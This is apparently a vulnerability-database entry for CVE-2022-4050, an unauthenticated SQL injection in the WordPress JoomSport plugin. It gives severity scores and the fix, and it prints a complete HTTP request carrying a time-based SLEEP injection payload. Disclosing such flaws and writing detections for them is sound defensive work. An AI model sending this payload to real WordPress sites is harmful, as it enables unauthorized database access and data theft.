🔙 목록으로 돌아가기

CVE-2022-4050: WordPress JoomSport <5.2.8 - SQL Injection

TitleWordPress JoomSport <5.2.8 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactAn attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpdate to JoomSport plugin version 5.2.8 or later.
CVSS Score9.8
EPSS Score0.79909
CVE IDCVE-2022-4050
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wpscan wp-plugin wp joomsport-sports-league-results-management wordpress sqli unauth beardev vkev vuln

🔍 Vulnerability Description

WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Connection: close
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

mdId=1&shattr={"id":"1+AND+(SELECT+1+FROM(SELECT+SLEEP(7))aaaa);--+-"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4050.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4050.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A